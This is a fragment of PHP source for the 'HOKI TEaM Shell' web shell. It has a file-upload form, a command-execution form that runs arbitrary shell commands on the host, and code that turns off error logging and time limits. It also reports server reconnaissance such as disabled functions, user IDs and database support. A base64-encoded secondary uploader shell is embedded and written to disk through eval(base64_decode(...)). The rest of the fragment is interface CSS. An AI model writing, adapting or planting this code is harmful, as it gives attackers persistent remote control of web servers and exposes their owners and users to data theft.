echo "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\","/",@hokiGetCwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
echo"<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
echo"<font color=red>";
echo "$disfun";
echo"</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\","/",@hokiGetCwd()).'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
if(isset($_FILES['file'])){
if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>'; }
else{echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>'; }
}
echo '<hr><form onSubmit="this.execute.disabled=true;this.command_kiseryouni.value = btoa(unescape(encodeURIComponent(this.command_kiseryouni.value)));" method="POST">Execute Command: <input name="command_kiseryouni" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
<hr><pre>';
if(isset($_POST['command_kiseryouni'])){
if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
$kiseryouni = "cd '".addslashes(str_replace("\","/",@hokiGetCwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_kiseryouni']);
echo hokiEx($kiseryouni);
}
echo'</pre>
</body></html>';
exit;}
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if(function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+',$f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
}else{
$value = trim(str_replace(' ', '+',$value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS['sys']='win';
else
$GLOBALS['sys']='unix';
$GLOBALS['home_cwd'] = @hokiGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if(isset($_POST['c'])){
if(!@chdir($_POST['c'])){
$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@hokiGetCwd());
if($GLOBALS['glob_chdir_false']){
$GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @hokiGetCwd());
}
if($GLOBALS['sys'] == 'win'){
$GLOBALS['home_cwd'] = str_replace("\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\", "/", $GLOBALS['cwd']);
}
if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_hoki_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
if(!function_exists("mb_strlen")){
function mb_strlen($str, $c=""){
return strlen($str);
}
}
if(!function_exists("mb_substr")){
function mb_substr($str, $start, $end, $c=""){
return substr($str, $start, $end);
}
}
define("HOKI_TEMPDIR",(function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
function hokihead(){
$GLOBALS['__HOKI_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$hoki_uploader = '$x = base64_decode("'.$GLOBALS['__HOKI_SHELL_CODE'].'");$kiseryouni = fopen("kiseryouni.php","w");fwrite($kiseryouni,$x);';
define("HOKI_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($hoki_uploader)."'))");
if(!isset($_POST['ajax'])){
function Hoki_GetDisable_Function(){
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if(empty($disfun))return($afa);
$s = explode(',',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
$black_list = array();
$allow_list = array();
foreach($s as $d){
$d=trim($d);
if(empty($d)||!is_callable($d))continue;
if(!function_exists($d)){
if(in_array($d,$func)){
$dis .= $d." | ";$b++;
$black_list[] = $d;
}else{
$allow_list[] = $d;
}
$i++;
}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
}
return('<span class="disable_functions">'.$dis.'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="hoki_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
}
function HokiNum(){
$args = func_get_args();
$hokix = array();
$find = array();
for($i=1;$i<=10;$i++){
$hokix[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($hokix as $hoki){
if(in_array($hoki,$find))
continue;
echo 'hoki'.$hoki."_=";
}
echo '""</script>';
}
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
$totalSpace = $totalSpace?$totalSpace:1;
$on="<span class='header_on'> ON </span>";
$of="<span class='header_off'> OFF </span>";
$none="<span class='header_none'> NONE </span>";
if(function_exists('ssh2_connect'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info')||class_exists('mysqli'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<span class='header_off'>ON</span>";
else
$safe_modes="<span class='header_on'>OFF</span>";
$cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
if(@ini_get('open_basedir')){
$basedir_data = @ini_get('open_basedir');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
$cach_cwd_path = "";
for($j=0; $j<=$i; $j++){
$cwd_links .= $path[$j].'/';
$cach_cwd_path .= $path[$j].'/';
}
$cwd_links .= "\")' path='".$cach_cwd_path."' href='#action=fileman&path=".$cach_cwd_path."'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('a','z') as $drive)
if(@is_dir($drive.':\'))
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
$csscode =' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="'.__showicon('hokimini').'" rel="icon" type="image/x-icon"/>
<title>..:: '.$_SERVER['HTTP_HOST'].' ~ HOKI TEaM Shell - v'.__HOKI_VERSION__.'-'.__HOKI_CODE_NAME__.' ::..</title>
<style type="text/css">';?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.kiseryouni-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"0";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"1";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.hokiteam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.hoki-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid 